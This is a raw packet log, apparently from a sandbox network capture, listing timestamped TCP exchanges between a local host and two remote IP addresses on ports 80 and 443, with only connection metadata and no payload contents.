Dec 19, 2024 20:11:39.715867043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.715895891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.715936899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.716881037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.717010021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.717061996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.718034983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.718085051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.718153954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.718198061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.719347954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.719389915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.719497919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.719538927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.720386982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.720441103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.720499992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.720542908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.721431017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.721528053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.721579075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.722501993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.722549915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.722624063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.722668886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.723669052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.723781109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.723829985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.724819899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.724937916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.724987984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.725897074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.725943089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.726048946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.726090908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.727015018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.727060080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.727175951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.727222919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.728163958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.728209972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.728265047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.728308916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.729290009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.729427099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.729475021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.730377913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.730422020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.730484009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.730526924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.731617928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.731662989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.731719971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.731765032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.732701063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.732748985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.732799053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.732855082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.733834982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.733889103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.733922958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.733937979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.734888077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.734935045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.734993935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.735035896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.736109972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.736174107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.737088919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.737267971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.737323999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.737395048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.737445116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.738761902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.738807917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.738879919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.738929033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.739785910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.739830971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.739861965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.739905119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.740617037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.740767002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.740814924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.741655111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.741709948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.741738081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.741777897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.875744104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.875813007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.875888109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.876166105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.876218081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.876271009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.876313925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.876374006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.876704931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.877589941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.877717018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.877769947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.878556967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.878690004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.878748894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.879694939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.879745007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.879833937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.880083084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.880791903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.880850077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.880914927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.880989075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.882003069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.882055998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.882113934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.882339954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.883055925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.883106947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.883235931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.883366108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.884181023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.884248972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.884282112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.884325981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.885348082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.885407925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.885442972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.885484934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.886441946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.886493921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.886553049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.886601925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.887573957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.887641907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.887763977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.887825966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.888684034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.888755083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.888869047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.888920069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.889816999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.889893055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.889941931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.889985085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.890916109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.891043901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.891047001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.891108036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.892040014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.892131090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.892153978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.892191887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.893176079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.893220901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.893254995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.893299103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.894294977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.894340038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.894372940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.894422054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.895411968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.895454884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.895514011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.895555973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.896522045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.896620989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.896681070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.896763086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.897671938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.897727966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.897783995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.897844076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.898799896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.898859024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.898917913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.898957968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.899949074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.900011063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.900096893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.900142908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.901129007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.901168108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.901212931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.902215004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.902281046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.902338028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.902379990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.903284073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.903326035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.903464079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.903599024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.904476881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.904551029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.904588938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.904603004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.905534983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.905581951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.905733109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.905776978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.906663895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.906732082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.906800985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.906927109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.907784939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.907870054 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.907896996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.907993078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.908936024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.909002066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.909030914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.909082890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.910038948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.910132885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.910144091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.910171032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.911178112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.911227942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.911346912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.911511898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.912291050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.912414074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.912448883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.912472963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.913402081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.913574934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.913598061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.913631916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.914588928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.914649010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.914695978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.915679932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.915826082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.915889978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.916788101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.916925907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.916982889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.917912006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.918001890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.918113947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.918227911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.919053078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.919112921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.919147015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.919229984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.920162916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.920228004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.920268059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.920306921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.923516035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.923629045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.923636913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.923696995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.923990965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.923998117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.924010992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.924056053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.924666882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.924807072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.924873114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.925805092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.925906897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.925951958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.926897049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.926970005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.927026033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.927109003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.928107977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.928198099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.928248882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.929156065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.929269075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.929270983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.929316998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.930270910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.930329084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.930362940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.930408955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.931406021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.931526899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.931535959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.931587934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.932521105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.932609081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.932744980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.933655977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.933711052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.933717012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.933774948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.046106100 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:40.046197891 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:40.047826052 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:40.048108101 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:40.048122883 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:40.068054914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.068156958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.068202972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.068233013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.068563938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.068660021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.068800926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.068854094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.069669962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.069719076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.069782019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.069838047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.070784092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.070904016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.070910931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.071050882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.071932077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.071969986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.072032928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.072077036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.073076963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.073266983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.073347092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.073414087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.074193954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.074254036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.074286938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.074333906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.075265884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.075331926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.075964928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.076037884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.076436996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.076504946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.076530933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.076751947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.077514887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.077563047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.077650070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.077713966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.078704119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.078816891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.078824043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.078883886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.079787016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.079886913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.080208063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.080261946 CET	49842	80	192.168.2.4	31.41.244.11
